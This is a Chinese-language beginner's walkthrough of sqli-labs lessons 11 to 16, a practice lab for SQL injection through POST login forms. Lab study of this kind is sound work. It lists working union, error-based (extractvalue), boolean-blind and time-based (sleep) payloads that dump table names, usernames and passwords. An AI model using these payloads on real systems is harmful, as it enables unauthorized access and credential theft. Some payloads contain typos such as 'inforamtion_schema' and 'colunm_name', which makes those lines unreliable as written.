小白注入学习:sqli-labs--less11-16学习记录
Less11 基于POST的单引号型字符型注入
1.基于post型的注入
Less11的参数的提交方式是POST型的,向后台提交需要处理的数据。POST提交方式更安全,因为参数不URL中显示也不会保存在浏览器历史。
post注入通过输入框进行传参,可以带入数据库进行查询。
2.判断注入点
这里是两个参数username和password都是通过输入,并将参数代入数据库执行。
usernaem框中输入 ' password 随意 数据库报错,报错位置在输入password的123,说明 ' 单引号闭合了username的单引号,如果在后面加上#注释后面内容,如果数据库不报错,则说明在username存在注入点。
username框输入 '# password 随意 页面显示正常数据库没有报错,确定username存在注入点
3.union联合查询注入
(1) order by 爆列数
' order by 3# 数据库报错 不存在第三列 ' order by 2# 数据库未报错,页面正常,故有两列
(2) 确定列的显示位置
' union select 1,2# 可以通过页面回显确定username为位置1,password为位置2。
(3) 查询数据库名
' union select database(),version()# 在位置1位数据库名,位置2为数据库版本信息。
(4) 查询表名
' union select 1,group_concat(table_name) from inforamtion_schema.tables where table_schema=database()#
(5) 在users表中查询列名
' union select 1,group_concat(colunm_name) from information_schema.columns where table_name='users'#
(6) 查询列的内容
' union select 1,group_concat(username,0x7e,password) from users#
Less12 基于POST的变形字符注入
1.判断注入点
通过在username框中输入反斜杠 \ 使数据库报错。根据数据库报错的提示可以发现这次他吧username的值放在("username")中,所以需要双引号和括号来闭合实现注入")
usrename框中输入 ") password 随意。数据库报错 ,页面错误
username框中输入 ")# password 随意 页面正常 确定从username注入
2.union联合查询注入
流畅和上述less11一直,只不过在payload处,把 ' 换成 ")即可完成注入。
Less13 基于POST的报错注入
1.判断注入点
还是是通过反斜杠 \ 使数据库报错。根据报错判断,username和password放在('')中,需要 ')闭合
2.extractvalue()报错注入
(1) order by 确定列数为2
' order by 2#不报错
(2) 当使用union select 1,2#查询时,页面只显示登录成功而不显示登录信息,无法通过显错式注入。故考虑通过报错式注入
(3) 报错式查询数据库名,下面附上payload
') and extractvalue(1,concat(0x7e,database(),0x7e))#
查询表名
') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
查询users的列名
') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#
查询username
') and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#
查询password
') and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))# 完成注入
Less14 基于POST的报错注入
注入方法和less13一样,通过反斜杠\可以使数据库报错,得知参数放在双引号""中,使用extractvalue()完成注入。
Less15 基于POST布尔型盲注
1.判断注入类型
无论输入什么数据库都不会报错。不能通过显错,报错的方式去注入,考虑盲注。
当在username框中输入 ' union select 1,2# password 随意的时候发现登录成功,
可以说明 1.参数放在单引号内,2.数据语句正确时登录成功,错误时登录失败。是典型布尔盲注。
2.left()布尔盲注:在username中输入payload,因为#注释后面的内容所以密码随意
(1) 判断数据库长度
-1' and length(database())=8#
(2) 猜测数据库名
admin' and left(database(),1)='a'#
如果数据库名第一个字母是s,那么就登录成功否则登录失败
admin' and left(database(),8)='security'#
一个字符的猜测,可以得知数据库名是secruity
(3)猜测表名、列名、内容都一样,盲注比较麻烦。附上部分payload
表名 admin' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'# 列名 admin' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i'# 字段内容 admin' and left((select username from users limit 0,1),1)='D'#
(4) 也可以使用burpsuit的暴力破解。使用方法参照
Less8布尔盲注
Less16 基于POST时间型盲注
1.布尔盲注
和less15注入方法一样,但是16的参数放在("")中,需要")来闭合。只需要在payload中把 ' 修改即可完成注入
2.时间盲注
通过在username中输入 ") union select 1,2 and sleep(2)#发现页面有明显的延迟响应,所以可以用sleep()完成盲注。
附上部分payload
库名 admin") and if(left(database(),1)='s',sleep(2),0)# 表名 admin") and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(2),0)# 列名 admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(2),0)# username admin") and if(left((select username from users limit 0,1),1)='D',sleep(2),0)# password admin") and if(left((select password from users limit 0,1),1)='D',sleep(2),0)#
PS小白总结
(1) POST、GET的注入方法基本上是一致的,区别主要在于传递参数的方法不同。
(2) POST型参数都是由我们输入是我们可以控制的,并且要代入数据库执行
(3) 根据页面的内容、回显信息、报错信息来判断注入的方法。反斜杠 \ 是很好用的报错方法。
小白注入学习记录!!